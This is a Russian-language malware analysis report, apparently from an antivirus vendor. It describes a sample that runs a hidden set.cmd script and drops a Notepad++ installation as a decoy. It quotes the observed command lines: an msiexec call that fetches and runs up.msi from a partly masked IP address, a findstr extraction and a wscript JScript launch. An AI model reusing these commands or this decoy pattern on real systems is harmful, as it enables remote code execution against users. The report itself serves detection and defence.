Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Music\set.cmd
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\music\set.cmd
- %ProgramFiles%\notepad++\autocompletion\vhdl.xml
- %ProgramFiles%\notepad++\autocompletion\xml.xml
- %ProgramFiles%\notepad++\localization\english.xml
- %ProgramFiles%\notepad++\plugins\mimetools\mimetools.dll
- %ProgramFiles%\notepad++\plugins\nppconverter\nppconverter.dll
- %APPDATA%\notepad++\contextmenu.xml
- %APPDATA%\notepad++\functionlist.xml
- %APPDATA%\notepad++\themes\bespin.xml
- %APPDATA%\notepad++\themes\black board.xml
- %APPDATA%\notepad++\themes\choco.xml
- %APPDATA%\notepad++\themes\deep black.xml
- %APPDATA%\notepad++\themes\hello kitty.xml
- %APPDATA%\notepad++\themes\hotfudgesundae.xml
- %ProgramFiles%\notepad++\autocompletion\batch.xml
- %APPDATA%\notepad++\themes\khaki.xml
- %APPDATA%\notepad++\themes\monokai.xml
- %APPDATA%\notepad++\themes\mossylawn.xml
- %APPDATA%\notepad++\themes\navajo.xml
- %APPDATA%\notepad++\themes\obsidian.xml
- %APPDATA%\notepad++\themes\plastic code wrap.xml
- %APPDATA%\notepad++\themes\ruby blue.xml
- %APPDATA%\notepad++\themes\solarized-light.xml
- %APPDATA%\notepad++\themes\solarized.xml
- %APPDATA%\notepad++\themes\twilight.xml
- %APPDATA%\notepad++\themes\vibrant ink.xml
- %APPDATA%\notepad++\themes\vim dark blue.xml
- %APPDATA%\notepad++\themes\zenburn.xml
- %APPDATA%\notepad++\userdefinelangs\userdefinedlang-markdown.default.modern.xml
- %ProgramFiles%\notepad++\autocompletion\tex.xml
- %ProgramFiles%\notepad++\autocompletion\vb.xml
- %ProgramFiles%\notepad++\autocompletion\sql.xml
- %ProgramFiles%\notepad++\autocompletion\rc.xml
- %ProgramFiles%\notepad++\autocompletion\python.xml
- %ProgramFiles%\notepad++\contextmenu.xml
- %ProgramFiles%\notepad++\functionlist.xml
- %ProgramFiles%\notepad++\langs.model.xml
- %ProgramFiles%\notepad++\license
- %ProgramFiles%\notepad++\notepad++.exe
- %ProgramFiles%\notepad++\nppshell_06.dll
- %ProgramFiles%\notepad++\readme.txt
- %ProgramFiles%\notepad++\scilexer.dll
- %ProgramFiles%\notepad++\shortcuts.xml
- %ProgramFiles%\notepad++\stylers.model.xml
- %ProgramFiles%\notepad++\uninstall.exe
- %ProgramFiles%\notepad++\autocompletion\actionscript.xml
- %ProgramFiles%\notepad++\autocompletion\autoit.xml
- %WINDIR%\installer\{8073695c-7760-4b33-bc6b-73817d4d8053}\mainicon
- %APPDATA%\notepad++\themes\mono industrial.xml
- %ProgramFiles%\notepad++\autocompletion\baanc.xml
- %ProgramFiles%\notepad++\autocompletion\cmake.xml
- %ProgramFiles%\notepad++\autocompletion\coffee.xml
- %ProgramFiles%\notepad++\autocompletion\cpp.xml
- %ProgramFiles%\notepad++\autocompletion\cs.xml
- %ProgramFiles%\notepad++\autocompletion\css.xml
- %ProgramFiles%\notepad++\autocompletion\html.xml
- %ProgramFiles%\notepad++\autocompletion\java.xml
- %ProgramFiles%\notepad++\autocompletion\javascript.xml
- %ProgramFiles%\notepad++\autocompletion\lisp.xml
- %ProgramFiles%\notepad++\autocompletion\lua.xml
- %ProgramFiles%\notepad++\autocompletion\nsis.xml
- %ProgramFiles%\notepad++\autocompletion\perl.xml
- %ProgramFiles%\notepad++\autocompletion\php.xml
- %ProgramFiles%\notepad++\change.log
- %ProgramFiles%\notepad++\autocompletion\c.xml
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\notepad++.lnk
Сетевая активность
TCP
Запросы HTTP GET
- http://18#.#27.224.100/up.msi
UDP
- DNS ASK ms#.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\Music\set.cmd' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\msiexec.exe' /ihttp://18#.#27.224.100/up.msi
- '<SYSTEM32>\ping.exe' www.ms#.com
- '<SYSTEM32>\findstr.exe' /L "Iun6h=0;" "%TEMP%\0.dat"
- '<SYSTEM32>\wscript.exe' /e:jscript "%APPDATA%\8.txt"
